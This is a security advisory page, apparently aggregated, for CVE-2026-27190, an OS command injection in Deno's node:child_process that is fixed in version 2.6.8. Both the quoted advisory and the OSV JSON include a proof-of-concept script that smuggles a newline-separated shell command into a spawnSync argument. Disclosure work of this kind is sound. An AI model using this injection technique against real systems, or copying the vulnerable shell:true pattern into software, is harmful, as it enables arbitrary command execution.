CVE-2026-27190: Deno Child_process Vulnerability

HIGH
Advisory Identifier: GHSA-hmh4-3xvx-q5hr
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CVSS 8.1
CWE-78
Published
Advisory Summary

CVE-2026-27190 is a HIGH (CVSS 8.1) child_process vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Deno libraries in the crates.io ecosystem. The issue involves child_process. Remediation is available by upgrading affected packages to version 2.6.8.

CVE-2026-27190 at a Glance

CVE Identifier CVE-2026-27190
GHSA Identifier GHSA-hmh4-3xvx-q5hr
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Deno
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-27190

To remediate this vulnerability, upgrade all affected Deno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

deno fixed: 2.6.8 
Upgrade deno to 2.6.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for deno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27190, inspect your project dependencies for Deno:

inspect dependencies for deno

Analyze the terminal output to locate any version of Deno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.8), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Deno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A command injection vulnerability exists in Deno's `node:child_process` implementation. ## Reproduction ```javascript import { spawnSync } from "node:child_process"; import * as fs from "node:fs"; // Cleanup try { fs.unlinkSync('/tmp/rce_proof'); } catch {} // Create legitimate script fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");'); // Malicious input with newline injection const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`; // Vulnerable pattern spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], { shell: true, encoding: 'utf-8' }); // Verify console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof')); ``` Run: `deno run --allow-all poc.mjs` The file `/tmp/rce_proof` is created, confirming arbitrary command execution. ## Mitigation All users need to update to the patched version (Deno v2.6.8).

CVE-2026-27190 Affected Deno Versions

1 component(s)
Fixed Versions:
2.6.8
Product / Package Ecosystem Affected Versions Fixed Version
deno
 crates.io
< 2.6.8
2.6.8

References

GitHub Advisory / Wiki ADVISORY
https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr
NVD — CVE-2026-27190 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-27190
Security Fix Commit FIX COMMIT
https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c
Deno Source Repository REPOSITORY
https://github.com/denoland/deno
Deno Release RELEASE
https://github.com/denoland/deno/releases/tag/v2.6.8

Frequently Asked Questions

What is CVE-2026-27190?
CVE-2026-27190 is a security vulnerability in Deno involving child_process under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Deno versions are affected?
Affected versions include releases prior to 2.6.8 across affected packages: deno.
What version fixes CVE-2026-27190?
Upgrading to 2.6.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is deno affected?
Yes, deno is affected in releases prior to 2.6.8. Upgrade your dependency to 2.6.8 or later.
What is the CVSS score of CVE-2026-27190?
CVE-2026-27190 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-27190?
CVE-2026-27190 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check crates.io dependencies for CVE-2026-27190?
Run the dependency tree command: 'inspect dependencies for deno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hmh4-3xvx-q5hr",
  "modified" : "2026-02-20T22:20:03Z",
  "published" : "2026-02-19T20:31:41Z",
  "aliases" : [ "CVE-2026-27190" ],
  "summary" : "Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process",
  "details" : "## Summary\nA command injection vulnerability exists in Deno's `node:child_process` implementation. \n\n## Reproduction\n```javascript\nimport { spawnSync } from \"node:child_process\";\nimport * as fs from \"node:fs\";\n\n// Cleanup\ntry { fs.unlinkSync('/tmp/rce_proof'); } catch {}\n\n// Create legitimate script\nfs.writeFileSync('/tmp/legitimate.ts', 'console.log(\"normal\");');\n\n// Malicious input with newline injection\nconst maliciousInput = `/tmp/legitimate.ts\\ntouch /tmp/rce_proof`;\n\n// Vulnerable pattern\nspawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {\n  shell: true,\n  encoding: 'utf-8'\n});\n\n// Verify\nconsole.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));\n```\n\nRun: `deno run --allow-all poc.mjs`\n\nThe file `/tmp/rce_proof` is created, confirming arbitrary command execution.\n\n## Mitigation\n\nAll users need to update to the patched version (Deno v2.6.8).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "deno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27190"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/denoland/deno"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/denoland/deno/releases/tag/v2.6.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-19T20:31:41Z",
    "nvd_published_at" : "2026-02-20T21:19:28Z"
  }
}